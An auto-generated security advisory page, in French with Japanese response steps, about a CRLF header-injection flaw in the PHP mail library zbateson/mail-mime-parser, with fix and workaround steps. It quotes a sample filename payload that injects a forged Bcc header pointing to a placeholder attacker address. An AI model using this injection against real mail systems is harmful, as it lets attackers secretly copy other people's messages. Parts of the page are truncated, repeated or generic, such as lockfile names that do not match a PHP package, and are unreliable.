Vulnérabilité dans zbateson/mail-mime-parser (CVE-2026-61815)
Résumé
Vulnérabilité dans zbateson/mail-mime-parser (CVE-2026-61815). Risque d'opérations non autorisées ou de divulgation. Exploitable via filename. Atténuation : mise à jour vers 4.0.2 ou plus.
Description d'origine
La description telle que publiée par la source (souvent en anglais).
Impact
A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.
Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.
Details
On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:
Content-Disposition: attachment;
filename="doc
Bcc: attacker@evil.test"
The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.
The decode side is affected as well, which is what makes purely inbound exploitation possible:
ParameterPart::decodePartValue()rawurldecode()s an RFC 2231filename*=parameter with no control-character stripp…
Source: NIST National Vulnerability Database NVD GitHub Advisory
Résumé généré automatiquement
Assemblé par SecPulse à partir des données sources (CVSS, CWE, versions affectées) à l'aide de modèles, sans IA. Vérifiez la description d'origine et les références ci-dessous.
Une vulnérabilité référencée CVE-2026-61815 a été découverte dans zbateson/mail-mime-parser.
Des attaquants peuvent cibler un point d'entrée spécifique comme filename à distance pour détourner le produit.
Risque d'opérations non autorisées ou de divulgation. Score CVSS : 7.2/10.
Action : mettez à jour zbateson/mail-mime-parser vers 4.0.2 ou supérieur.
En cas de doute, contactez votre service informatique ou cherchez « zbateson/mail-mime-parser CVE-2026-61815 » sur le site de l'éditeur.
CVE-2026-61815 (zbateson/mail-mime-parser) — CWE-93 / CVSS v3 7.2
Vecteur d'attaque : distant (réseau) / non authentifié / sans interaction utilisateur
Surface d'attaque : filename / doc / MimeToken
Correctif : 4.0.2 — appliquer immédiatement
Contournement : strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.
Plan : 1) Audit SBOM, 2) Mise à jour staging→prod, 3) Surveillance WAF/proxy sur les endpoints affectés, 4) Recherche d'IOC dans les logs.
Réfs : voir GHSA / avis éditeur / version corrigée liés sur cette page.
Une vulnérabilité (CWE-93) affecte zbateson/mail-mime-parser. Les attaquants atteignent le code vulnérable via filename sans authentification.
Consultez l'avis de l'éditeur pour les versions affectées de zbateson/mail-mime-parser. Surface d'attaque : filename / doc / MimeToken.
Gravité : Élevée (CVSS 7.2/10). Risque d'opérations non autorisées ou de divulgation.
Mettre à jour vers 4.0.2.
Contournement : strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.
Recherchez dans les logs des requêtes correspondant aux IOC connus de cette CVE. Auditez les SBOM/dépendances.
Actions de réponse
Étapes concrètes et exemples de commandes que les équipes SOC/SRE doivent exécuter dans l'ordre
-
1Identify exposure identify
grep -r 'zbateson/mail-mime-parser' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
zbateson/mail-mime-parserを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply temporary workaround mitigate
strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.パッチが適用されるまでの応急処置として、strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e. を実施。回避策の副作用 (機能低下) を確認した上で。
-
3Apply patch patch
Upgrade zbateson/mail-mime-parser to 4.0.2ステージング環境で 4.0.2 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
4Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Paquets affectés
Références
- web security-advisories@github.com
- web nvd.nist.gov
- web github.com
- web github.com
- web github.com
- web github.com
- web github.com